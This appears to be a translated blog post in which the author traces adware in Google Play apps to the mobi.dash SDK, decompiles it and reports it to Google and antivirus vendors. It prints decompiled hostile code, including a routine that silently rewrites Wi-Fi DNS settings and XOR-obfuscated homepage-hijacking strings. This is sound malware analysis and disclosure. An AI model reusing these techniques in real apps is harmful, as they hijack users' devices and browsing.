How I struggled with adware on Google Play and lost


    Over the past day, hundreds of news sites ( clack and tyts ) reprint one interesting news telling about the discovery of the next malicious applications on Google Play. This time, adware showed annoying ads every time the device was unlocked and was installed on billions of millions of phones and tablets. Fortunately, the antivirus company Avast detected the threat in time and the applications were removed.

    Under the cut, I will tell my version of events: how I calculated and searched for adware on Google Play, decompiled the adware sdk code, can I wait for an answer from Google support, why mobile antiviruses are useless and how they manage to make good free advertising on a hot info line.

    “Your version of Android is out of date”


    One evening, my more humanitarian and beautiful half came up to me asking why she couldn’t install the update on her phone, although the phone constantly asks for it. A browser tab was opened on the screen with a tempting offer to still install this update. When closing the tab, it turned out that there were more than 80 such pages open in the browser. After a short interrogation, it turned out that they didn’t really install any suspicious applications on the phone - the option to install from third-party sources was even disabled in the settings. As it turned out, each time the phone was unlocked, a link with an advertisement or AdMob banner on top of the launcher was opened in the browser.



    The story became interesting, as the application came clearly from Google Play. Taking the phone in one hand and LogCat in the other, I began to find out who runs this ad.

    // TODO: Disable logs in release

    The hero of the occasion was installed very quickly - as it turned out, the developers did not at all take care of disabling logging in the release version. Each time when locking or unlocking the screen, LogCat poured detailed information about the result of the request to the server for advertising and other debugging data. It looked like this:
    Logcat
    01-31 02: 15: 13.303: D / Microlog (3020): Microlog 1669935: [DEBUG] -Open url external. Start with intent: Intent {act = android.intent.action.VIEW dat = http: //brodero.com/v2/b/rs? Agid = af70e9985-a73c-46d6-a24e-a7e112748cf7 & vid = 3ad864d4-643d-4f55-8dbd -ae76ebf08bbc & bgid = ba6195268-bfaa-451c-8736-aba9b7449306 & u = http: //terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg = 0x10000000 cmp = com.android.chrome / com.google.android.apps .chrome.Main}
    01-31 02: 15: 13.306: I / ActivityManager (734): START u0 {act = android.intent.action.VIEW dat = http: //brodero.com/v2/b/rs? Agid = af70e9985-a73c- 46d6-a24e-a7e112748cf7 & vid = 3ad864d4-643d-4f55-8dbd-ae76ebf08bbc & bgid = ba6195268-bfaa-451c-8736-aba9b7449306 & u = http: //terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg = 0x10000000 cmp = com.android.chrome/com.google.android.apps.chrome.Main} from uid 10065 on display 0

    Intent started the process with PID 3020. All that remained was to find out to which packet this PID belongs. The ps command | grep 3020 " executed in adb shell. I received a clear answer:
    adb shell
    shell @ hammerhead: / $ ps | grep 3020
    ps | grep 3020
    u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history

    It turned out that the World History application was behind this. The application has more than 5 thousand installations. Moreover, it was installed from Google Play for a long time, but advertising began to pour in recently. After the application was uninstalled, the advertisement of course ceased to be an eyesore.
    Well, it was not difficult, but you can’t just leave it like that. It's time to dissect the APK and get inside the code.

    "Scalpel, clamp ..."

    As for the tools, I will not tell you anything new - I used dex2jar to get the code in jar, apktool to decompile xml-resources (and it also knows how to smali, but that's another story) and Luyten to decompile jar-ki. The latter, by the way, I highly recommend - Luyten is just a GUI for Procyon , which in turn is very cool. At least compared to the JD I used before, I liked Procyon more.

    Khabrovsk people familiar with Android development already realized that the application explicitly registers the broadcast receiver for the events android.intent.action.SCREEN_OFF and android.intent.action.SCREEN_ONto display such cunning ads. You can only subscribe to these actions from the code, so there shouldn’t be anything interesting in the manifest. But still, let's look there too (it was not in vain that it was decompiled, after all) - in the manifest there were several interesting components. One of the broadcast receivers was subscribed to android.intent.action.BOOT_COMPLETED . It was called mobi.dash.overapp.DisplayCheckRebootReceiver - I started studying the code from it:
    DisplayCheckRebootReceiver
        public void onReceive(final Context context, final Intent intent) {
            AdsLog.d("AdsOverappRebootReceiver", intent.toString());
            Object stringExtra = null;
            if (intent != null) {
                stringExtra = intent.getStringExtra(DisplayCheckRebootReceiver.Param_Event);
            }
            if (DisplayCheckRebootReceiver.Event_SendAlive.equals(stringExtra)) {
                sendAlive(context);
                return;
            }
            AdsOverappRunner.ping(context.getApplicationContext());
        }
    


    As you can see from the code, after the first reboot, the AdsOverappRunner.ping method is called . The specified method loads the settings from the ads_settings.json file , which is located in the resources in the raw folder, and starts the wait. Moreover, how long this wait will last is indicated in the ads_settings.json file. Then everything is extremely simple - from this moment through the AlarmManager with a frequency of 15 minutes the application will pull the same DisplayCheckRebootReceiver and check if the incubation period has expired. After the wait is over mobi.dash.overapp.DisplayCheckService will be launched , which will already delight the user with advertising.

    In principle, there is nothing unusual so far, if not for one fact - all this was not an article by the author of the application, but was clearly a third-party SDK. Moreover, even without any further analysis, it already inspired confidence; about 200 classes were in the mobi.dash package .

    Each time the screen was locked, the SDK made a request to the server and received an advertisement in the response that was worth showing. At the same time, different types of advertising were supported:
    DisplayCheckService
        public void showAd(final AdsOverappType lastOverappType, final BannerData bannerData) {
            this.hideAd();
            BlacklistManager.getInatance().onBannerShow((Context)this, bannerData.id);
            Ads.getHistory().addBannerAction(bannerData.localId, "service", "showAd");
            this.lastOverappType = lastOverappType;
            this.saveLastOverappType();
            if (lastOverappType == AdsOverappType.Alert) {
                this.showAlert(bannerData);
                return;
            }
            if (lastOverappType == AdsOverappType.Recommendation) {
                this.showRecomendation(bannerData);
                return;
            }
            if (lastOverappType == AdsOverappType.Link) {
                this.showLink(bannerData);
                return;
            }
            if (lastOverappType == AdsOverappType.Sdk) {
                this.showSdk(bannerData);
                this.waitAndRequestNextAd();
                return;
            }
            if (lastOverappType == AdsOverappType.Notification) {
                this.showNotification(bannerData);
                this.waitAndRequestNextAd();
                return;
            }
            this.showBanner(bannerData);
            this.waitAndRequestNextAd();
        }
    


    On command from the server, the SDK could show a dialog with the specified texts, open links in a browser, show ads to AdMob, Mopub or Chartboost, throw notifications.

    In addition, a more interesting functionality was found inside - the SDK skillfully changed the dns server in the wi-fi connection settings:
    DisplayCheckService
        public static void setupDns(final Context context) {
            final String dns = getDns(context);
            if (!TextUtils.isEmpty((CharSequence)dns)) {
                final WifiManager wifiManager = (WifiManager)context.getSystemService("wifi");
                if (wifiManager != null) {
                    final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo();
                    if (dhcpInfo != null) {
                        final String formatIpAddress = Formatter.formatIpAddress(dhcpInfo.ipAddress);
                        final String formatIpAddress2 = Formatter.formatIpAddress(dhcpInfo.netmask);
                        final String formatIpAddress3 = Formatter.formatIpAddress(dhcpInfo.gateway);
                        final ContentResolver contentResolver = context.getContentResolver();
                        Settings$System.putString(contentResolver, "wifi_use_static_ip", "1");
                        Settings$System.putString(contentResolver, "wifi_static_ip", formatIpAddress);
                        Settings$System.putString(contentResolver, "wifi_static_netmask", formatIpAddress2);
                        Settings$System.putString(contentResolver, "wifi_static_gateway", formatIpAddress3);
                        Settings$System.putString(contentResolver, "wifi_static_dns1", dns);
                        Settings$System.putString(contentResolver, "wifi_static_dns2", dns);
                    }
                }
            }
        }
    


    Most likely, this was done in order to redirect users to the necessary advertising sites.
    Also, the SDK could create fake shortcuts on the desktop that led the user to the links that came from the server. Well, perhaps the last interesting feature is the ability to change the home page in the browser. The code responsible for this turned out to be the only protected place in the SDK - everything else that could be replaced was not even obfuscated. Browsers are different, so the SDK uses three different methods. At the same time, the names of the intents or path URIs in the content resolver that were used to change the home page were encrypted with a cryptographic XOR encryption algorithm and initially looked like an array of bytes:
    Homepageinjector
    a = new byte[] { 13, 9, 1, 37, 14, 25, 55, 75, 27, 24, 29, 6, 11, 90, 94, 16, 29, 25, 89, 3, 0, 0, 93, 58, 54, 32, 58, 58, 97, 4, 11, 3, 21, 6, 9, 45, 49, 38, 32, 32, 62, 55, 107, 59 };
    b = new byte[] { 9, 1, 9, 23, 26, 27, 13 };
    


    After a simple operation, this turned into plain text:
    Xor
    lgeWapService.prov.persister.INSTALL_BROWSER
    homeuri

    And then broadcast rushed with such an action and extra parameter. It is likely that on LG phones this really changes the home page. Most likely this was done to protect against anti-virus scanning. At least virustotal confidently stated that the application is absolutely safe.

    Their name is legion

    Since the SDK looked very good, it was unlikely that it was written just to be embedded in an application with 5 thousand installations. First of all, I checked the rest of the applications of the same author. As it turned out, mobi.dash ads were built into each of them. And the author had a lot of applications:



    Of course, basically they had very few installations, but in one of them the number of installations exceeded 50 thousand. But of course, the distribution of this SDK should not be limited to one publisher. Since the SDK went for advertising on the ad1.mads.bz server , I decided to look for who else was faced with this problem. It turned out that w3bsit3-dns.com has a whole topic where users are fighting with such advertising. There I found references to two more applications that pulled ads fromad1.mads.bz . These applications turned out to be much more popular:



    More than 5 million and more than 1 million installations - a good audience reach. The card game "Fool" with so many installations should have tens of thousands of active users daily. There were a lot of negative comments in the reviews that the game shows ads, but antiviruses do not determine anything. This was rather strange, considering the antiviruses even swear at the AirPush SDK, whose advertisements are clearly less annoying. By the way, my first mention of mobi.dash sdk is dated October 1, 2013 . Probably, after a year and a half and hundreds of user complaints, should someone take action? What else should an ordinary user do (a hard address, of course)if such an advertisement has settled in him, if you do not seek help from mobile antiviruses. I checked three mobile antiviruses: Avast Mobile Security, Dr. Web and Kaspersky Internet Security. The opinion was unanimous:



    Someone thought that everything was in order with my phone. Perhaps, something had to be done with this.

    "Enough tolerating this!"


    At this point, I already had extensive information about the capabilities of the SDK, and about which applications carry it. Therefore, the first thing I decided to do was to inform Google about this. Under each application on Google Play there is a link “Flag as inappropriate” (it was there, by the way, it didn’t always appear only in the summer of 2014), by clicking on which everyone can report a violation. Google takes these complaints so seriously that it even draws cartoons.how seriously he takes it. Having passed the not the easiest way from the Flag as inappropriate link to the text input field of my complaint, I briefly outlined the whole point. A minute later I received a response from the bot in my mail, which asked me to describe in more detail what rules the application violates and attach additional materials (screenshots, etc.) that will help them. In response, I issued a long and comprehensive letter explaining that 4 rules from the Google Play Content Policy were violated:
    Google Play Content Policy violation
    This app violate the following policies:

    * Google Play Content Policy, chapter 'System Interference':
    - This includes behavior such as replacing or reordering the default presentation of apps, widgets, or the settings on the device. If an app makes such changes with the user's knowledge and consent, it must be clear to the user which app has made the change and the user must be able to reverse the change easily, or by uninstalling the app altogether.
    + App can change DNS server when wi-fi is connected in order to redirect users to malicious sites

    - Apps and their ads must not modify or add browser settings or bookmarks, add homescreen shortcuts, or icons on the user's device as a service to third parties or for advertising purposes.
    + App can change browser homepage and create homescreen shortcuts

    - Apps and their ads must not display advertisements through system level notifications on the user's device, unless the notifications derive from an integral feature provided by the installed app (eg, an airline app that notifies users of special deals, or a game that notifies users of in-game promotions).
    + App shows ad at system level overlapping all other applications

    * Google Play Ad Policy, chapter 'Ads Context':
    - Ads must not simulate or impersonate the user interface of any app, or notification and warning elements of an operating system. It must be clear to the user which app each ad is associated with or implemented in.
    + Shown ads simulate operating system warning very often, screenshots are attached

    For a complete understanding, I even recorded a video to show how this ad looks:

    I described in detail my research on the advertising SDK and its features, and also provided a list of applications. I wrote detailed instructions on how to quickly show ads with a simple date translation. The letter left me on January 22nd.
    I think that it will not surprise anyone that I did not receive any answer to it and did not get any result from Google. Unfortunately, in Google, Mr. Box handles complaints from users and they are put in a distant box.

    Antiviruses


    Nevertheless, even if the applications remain in Google (and there are 140 of them there, by the way ), it would be nice if the antiviruses at least somehow warned about this SDK. I created topics on the Avast, Dr. forums Web and Kaspersky, in which he pointed out that antiviruses do not react to such advertising in any way and it would be nice to add it to the databases anyway. For now, it’s extremely simple to do - after all, in the manifest for such applications mobi.dash components are declared . At the forum, Kaspersky reacted very quickly, promised to figure it out, and even presented an annual subscription. Forum moderator The Web suggested that I send the file for analysis to an antivirus lab. Avast reacted after 3 days and promised to sort it out. I no longer had any activity in topics on the forum.

    UPDATE
    Kaspersky is ahead of the rest, the promise is kept and sorted out. As of the publication date of the article, Kaspersky Internet Security has already found this ad module. Finds now:


    Today, 10 days after my forum posts, all of a sudden, comments began to appear under the video showing the ad. This was a little strange considering the video was private. Even stranger was the fact that the video had 10 thousand views (and at the moment it has already exceeded 20 thousand). It turned out that Avast posted an article on the blogabout apps with this ad SDK. There was nothing new except what I wrote in this article, except for the addition of an advertisement for the premium version of the antivirus from Avast, which already defines this advertisement. Apparently, the story turned out to be interesting and press releases hit the mark. It somehow happened that after I posted links to applications and SDK analysis on the forum, the news about how Avast and analyst Filip Chitry found malicious applications on Google Play got to many large information resources. And here the company Avast and analyst Philip Kitra, it would seem.

    Six hours after posting on the blog, all the apps I mentioned were removed from Google Play:
    About six hours after this post went live, a Google spokeswoman e-mailed to say the three apps have been pulled from Play.


    Happy end


    Let my struggle with adware specifically end in nothing - my complaint was ignored by Google and Avast turned out to be the savior, but still the result was achieved. True, I have a very mediocre attitude to this result - it turned out to be impossible to get to Google, and anti-virus manufacturers are not very interested in improving mobile products if they did not pay attention to such a problem in 1.5 years. Nevertheless, I want to believe that the results of this story will make life easier for many users in the future.

    Also popular now: